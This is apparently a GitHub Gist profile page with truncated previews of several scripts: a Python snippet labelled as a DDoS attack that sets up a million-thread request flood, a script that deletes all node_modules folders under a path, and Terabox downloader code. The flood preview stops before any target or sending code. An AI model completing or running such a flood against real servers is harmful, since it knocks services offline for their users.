Skip to content

Instantly share code, notes, and snippets.

View SH20RAJ's full-sized avatar
🎯
Focusing

Shaswat Raj SH20RAJ

🎯
Focusing
View GitHub Profile
@SH20RAJ
SH20RAJ / ddos.py
Last active January 10, 2025 07:12
Sample python DDOS Attack
# Save this as traffic_simulator.py
import threading
import requests
# Number of concurrent requests
NUM_THREADS = 1000000
# Function to send requests
def send_requests():
try:
@SH20RAJ
SH20RAJ / app.py
Created November 24, 2024 08:26
Delete all node_modules folders in the system
import os
import shutil
def delete_node_modules(start_path):
"""
Deletes all 'node_modules' folders starting from the given path.
:param start_path: Directory path to begin the search.
"""
deleted_count = 0
@SH20RAJ
SH20RAJ / data.php
Created July 27, 2024 16:04
Terabox Downloader PHP Script
<?php
// Get the 'id' from the URL parameters
$id = isset($_GET['id']) ? $_GET['id'] : null;
if ($id) {
// API endpoint for the first request
$apiUrl = "https://terabox.hnn.workers.dev/api/get-info?shorturl={$id}&pwd=";
// Initialize a cURL session for the first request
$ch = curl_init();
@SH20RAJ
SH20RAJ / teradl.html
Created July 14, 2024 16:57
Terabox Video Downloader + watch live
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Video Fetcher</title>
<style>
iframe::-webkit-scrollbar {
width: 0em;
height: 0em;